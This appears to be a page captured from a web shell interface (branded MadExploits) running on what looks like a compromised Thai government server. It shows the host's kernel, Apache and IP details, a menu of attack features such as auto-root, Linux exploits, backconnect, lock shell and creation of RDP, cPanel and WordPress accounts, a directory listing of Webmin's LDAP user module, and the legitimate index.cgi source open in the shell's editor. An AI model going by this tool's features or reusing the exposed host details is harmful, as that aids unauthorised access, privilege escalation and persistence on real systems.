Linux ns8.secondary29.go.th 2.6.32-754.28.1.el6.x86_64 #1 SMP Wed Mar 11 18:38:45 UTC 2020 x86_64
Apache/2.2.15 (CentOS)
: 122.154.134.11 | : 122.154.134.9
Cant Read [ /etc/named.conf ]
5.6.40
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
libexec /
webmin /
ldap-useradmin /
[ HOME SHELL ]
Name
Size
Permission
Action
help
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
CHANGELOG
5.96
KB
-rw-r--r--
acl_security.pl
7.55
KB
-rwxr-xr-x
batch_exec.cgi
15.71
KB
-rwxr-xr-x
batch_form.cgi
2.49
KB
-rwxr-xr-x
cgi_args.pl
501
B
-rwxr-xr-x
config
388
B
-rw-r--r--
config-ALL-linux
416
B
-rw-r--r--
config-coherent-linux
385
B
-rw-r--r--
config-debian-linux
406
B
-rw-r--r--
config-debian-linux-3.1
395
B
-rw-r--r--
config-debian-linux-4.0-ALL
388
B
-rw-r--r--
config-debian-squirrelmail-lin...
560
B
-rw-r--r--
config-macos
466
B
-rw-r--r--
config-mandrake-linux
385
B
-rw-r--r--
config-pardus-linux
397
B
-rw-r--r--
config-redhat-linux
385
B
-rw-r--r--
config-sol-linux
385
B
-rw-r--r--
config-suse-linux
394
B
-rw-r--r--
config-syno-linux
452
B
-rw-r--r--
config-trustix-linux
394
B
-rw-r--r--
config-united-linux
394
B
-rw-r--r--
config.info
5.45
KB
-rw-r--r--
config.info.ca
5.94
KB
-rw-r--r--
config.info.ca.UTF-8
6
KB
-rw-r--r--
config.info.de
6.81
KB
-rw-r--r--
config.info.de.UTF-8
6.81
KB
-rw-r--r--
config.info.es
5.28
KB
-rw-r--r--
config.info.es.UTF-8
5.28
KB
-rw-r--r--
config.info.fr
0
B
-rw-r--r--
config.info.nl
5.99
KB
-rw-r--r--
config.info.nl.UTF-8
5.99
KB
-rw-r--r--
config.info.no
5.84
KB
-rw-r--r--
config.info.no.UTF-8
5.84
KB
-rw-r--r--
config.info.pt_BR
6.76
KB
-rw-r--r--
config.info.pt_BR.UTF-8
6.76
KB
-rw-r--r--
cpan_modules.pl
85
B
-rwxr-xr-x
defaultacl
318
B
-rw-r--r--
edit_group.cgi
4.17
KB
-rwxr-xr-x
edit_user.cgi
14.32
KB
-rwxr-xr-x
index.cgi
7.52
KB
-rwxr-xr-x
install_check.pl
580
B
-rwxr-xr-x
ldap-useradmin-lib.pl
32.44
KB
-rwxr-xr-x
log_parser.pl
1.55
KB
-rwxr-xr-x
mass_delete_group.cgi
2.04
KB
-rwxr-xr-x
mass_delete_user.cgi
7.17
KB
-rwxr-xr-x
module.info
261
B
-rw-r--r--
module.info.ca
168
B
-rw-r--r--
module.info.ca.UTF-8
181
B
-rw-r--r--
module.info.cz
33
B
-rw-r--r--
module.info.cz.UTF-8
41
B
-rw-r--r--
module.info.de
178
B
-rw-r--r--
module.info.de.UTF-8
190
B
-rw-r--r--
module.info.es
31
B
-rw-r--r--
module.info.es.UTF-8
37
B
-rw-r--r--
module.info.ms_MY
178
B
-rw-r--r--
module.info.ms_MY.UTF-8
190
B
-rw-r--r--
module.info.nl
35
B
-rw-r--r--
module.info.nl.UTF-8
41
B
-rw-r--r--
module.info.no
32
B
-rw-r--r--
module.info.no.UTF-8
38
B
-rw-r--r--
module.info.pt_BR
42
B
-rw-r--r--
module.info.pt_BR.UTF-8
48
B
-rw-r--r--
postinstall.pl
224
B
-rwxr-xr-x
raw.cgi
967
B
-rwxr-xr-x
save_group.cgi
9.37
KB
-rwxr-xr-x
save_user.cgi
23.65
KB
-rwxr-xr-x
search_group.cgi
1.31
KB
-rwxr-xr-x
search_user.cgi
1.46
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : index.cgi
#!/usr/bin/perl # index.cgi # List all LDAP users for editing require './ldap-useradmin-lib.pl'; &ui_print_header(undef, $module_info{'desc'}, "", "intro", 1, 1); &useradmin::load_theme_library(); # So that ui functions work &ReadParse(); # Make sure the LDAP Perl module is installed, and if not offer to install if (!$got_net_ldap) { local @needs; foreach $m ("Convert::ASN1", "Net::LDAP") { eval "use $m"; push(@needs, $m) if ($@); } $missing = &html_escape(join(" ", @needs)); print &text('index_eperl', "<tt>$missing</tt>", "/cpan/download.cgi?source=3&cpan=$missing&mode=2&". "return=/$module_name/&returndesc=". &urlize($text{'index_return'})),"<p>\n"; print "$text{'index_eperl2'}\n"; print "<pre>$net_ldap_error</pre>\n"; &ui_print_footer("/", $text{'index'}); exit; } # Try to login .. may fail $ldap = &ldap_connect(1); if (!ref($ldap)) { print &text('index_eldap', $ldap, "$gconfig{'webprefix'}/config.cgi?$module_name"),"<p>\n"; &ui_print_footer("/", $text{'index'}); exit; } # Make sure we can get the schema $schema = $ldap->schema(); if (!$schema) { print &text('index_eschema', '../ldap-server/'),"<p>\n"; &ui_print_footer("/", $text{'index'}); exit; } # Make sure the LDAP bases are set or available if (!&get_user_base() || !&get_group_base()) { print &text('index_ebase', "$gconfig{'webprefix'}/config.cgi?$module_name"),"<p>\n"; &ui_print_footer("/", $text{'index'}); exit; } if ($config{'imap_host'}) { # Make sure the IMAP Perl module is installed, and if not offer # to install if (!$got_net_imap) { print &text('index_eperl', "<tt>Net::IMAP</tt>", "/cpan/download.cgi?source=3&cpan=Net::IMAP&mode=2&". "return=/$module_name/&returndesc=". &urlize($text{'index_return'})),"<p>\n"; print "$text{'index_eperl2'}\n"; print "<pre>$net_imap_error</pre>\n"; &ui_print_footer("/", $text{'index'}); exit; } # Try to connect to the IMAP server $imap = &imap_connect(1); if (!ref($imap)) { print &text('index_eimap', $imap, "$gconfig{'webprefix'}/config.cgi?$module_name"),"<p>\n"; &ui_print_footer("/", $text{'index'}); exit; } } # If using MD5, make sure needed perl modules or programs are installed if ($config{'md5'} == 1) { # Check if MD5 perl module is installed, and offer to install &foreign_require("useradmin", "user-lib.pl"); if ($err = &useradmin::check_md5()) { print &text('index_emd5', "../config.cgi?$module_name", "<tt>$err</tt>", "../cpan/download.cgi?source=3&cpan=Digest::MD5&mode=2&return=/$module_name/&returndesc=".&urlize($text{'index_return'})),"<p>\n"; &ui_print_footer("/", $text{'index'}); exit; } } elsif ($config{'md5'} == 3 || $config{'md5'} == 4) { # Check if slappasswd is installed if (!&has_command($config{'slappasswd'})) { print &text('index_eslappasswd', "../config.cgi?$module_name", "<tt>$config{'slappasswd'}</tt>"),"<p>\n"; &ui_print_footer("/", $text{'index'}); exit; } } # Count the number of users and groups $base = &get_user_base(); $rv = $ldap->search(base => $base, filter => &user_filter(), sizelimit => $mconfig{'display_max'}+1); $ucount = $rv->count; $base = &get_group_base(); $rv = $ldap->search(base => $base, filter => &group_filter(), sizelimit => $mconfig{'display_max'}+1); $gcount = $rv->count; # Get the list of users and groups if ($ucount <= $mconfig{'display_max'}) { @allulist = &list_users(); @ulist = &useradmin::list_allowed_users(\%access, \@allulist); } if ($gcount <= $mconfig{'display_max'}) { @allglist = &list_groups(); @glist = &useradmin::list_allowed_groups(\%access, \@allglist); } # Start of tabs, based on what can be edited @tabs = ( ); if ($ucount || $access{'ucreate'}) { push(@tabs, [ "users", $text{'index_users'}, "index.cgi?mode=users" ]); $can_users = 1; } if ($gcount || $access{'gcreate'}) { push(@tabs, [ "groups", $text{'index_groups'}, "index.cgi?mode=groups" ]); $can_groups = 1; } print &ui_tabs_start(\@tabs, "mode", $in{'mode'} || $tabs[0]->[0], 1); # Start of users tab if ($can_users) { print &ui_tabs_start_tab("mode", "users"); } # Build links for adding users @links = ( ); if ($access{'ucreate'}) { push(@links, &ui_link("edit_user.cgi?new=1",$text{'index_uadd'})); } if ($access{'batch'}) { push(@links, "<a href=\"batch_form.cgi\">$text{'index_batch'}</a>"); } $form = 0; if ($ucount > $mconfig{'display_max'}) { # Show user search form print "<b>$text{'index_toomany'}</b><p>\n"; print &ui_form_start("search_user.cgi"); print &ui_table_start($text{'index_usheader'}, undef, 2); # Field to search print &ui_table_row($text{'index_find'}, &ui_select("field", "uid", [ [ "uid", $text{'user'} ], [ "cn", $text{'real'} ], [ "loginShell", $text{'shell'} ], [ "homeDirectory", $text{'home'} ], [ "uidNumber", $text{'uid'} ], [ "gidNumber", $text{'gid'} ] ])." ". &ui_select("match", 1, $match_modes)); # Text print &ui_table_row($text{'index_ftext'}, &ui_textbox("what", undef, 50)); print &ui_table_end(); print &ui_form_end([ [ undef, $text{'find'} ] ]); $formno++; print &ui_links_row(\@links); } elsif (@ulist) { # Show table of all users @ulist = &useradmin::sort_users(\@ulist, $mconfig{'sort_mode'}); @left = grep { !/batch_form|export_form/ } @links; @right = grep { /batch_form|export_form/ } @links; &useradmin::users_table(\@ulist, $form++, 1, 0, \@left, \@right); } elsif ($access{'ucreate'}) { # No users $base = &get_user_base(); print "<b>",&text('index_unone', "<tt>$base</tt>"),"</b><p>\n"; print &ui_links_row(\@links); } # End of users tab if ($can_users) { print &ui_tabs_end_tab("mode", "users"); } # Start of groups tab if ($can_groups) { print &ui_tabs_start_tab("mode", "groups"); } # Create group links @links = ( ); if ($access{'gcreate'}) { push(@links, &ui_link("edit_group.cgi?new=1",$text{'index_gadd'})); } if ($gcount > $mconfig{'display_max'}) { # Show group search form print "<b>$text{'index_gtoomany'}</b><p>\n"; print &ui_form_start("search_group.cgi"); print &ui_table_start($text{'index_gsheader'}, undef, 2); # Field to search print &ui_table_row($text{'index_gfind'}, &ui_select("field", "cn", [ [ "cn", $text{'gedit_group'} ], [ "memberUid", $text{'gedit_members'} ], [ "gidNumber", $text{'gedit_gid'} ] ])." ". &ui_select("match", 1, $match_modes)); # Text print &ui_table_row($text{'index_ftext'}, &ui_textbox("what", undef, 50)); print &ui_table_end(); print &ui_form_end([ [ undef, $text{'find'} ] ]); print &ui_links_row(\@links); } elsif (@glist) { # Show table of all groups @glist = &useradmin::sort_groups(\@glist, $mconfig{'sort_mode'}); &useradmin::groups_table(\@glist, $form++, 0, \@links); } elsif ($access{'gcreate'} || !@allglist) { # Show none message $base = &get_group_base(); print "<b>",&text('index_gnone', "<tt>$base</tt>"),"</b><p>\n"; print &ui_links_row(\@links); } # End of groups tab if ($can_groups) { print &ui_tabs_end_tab("mode", "groups"); } print &ui_tabs_end(1); &ui_print_footer("/", $text{'index'});
Close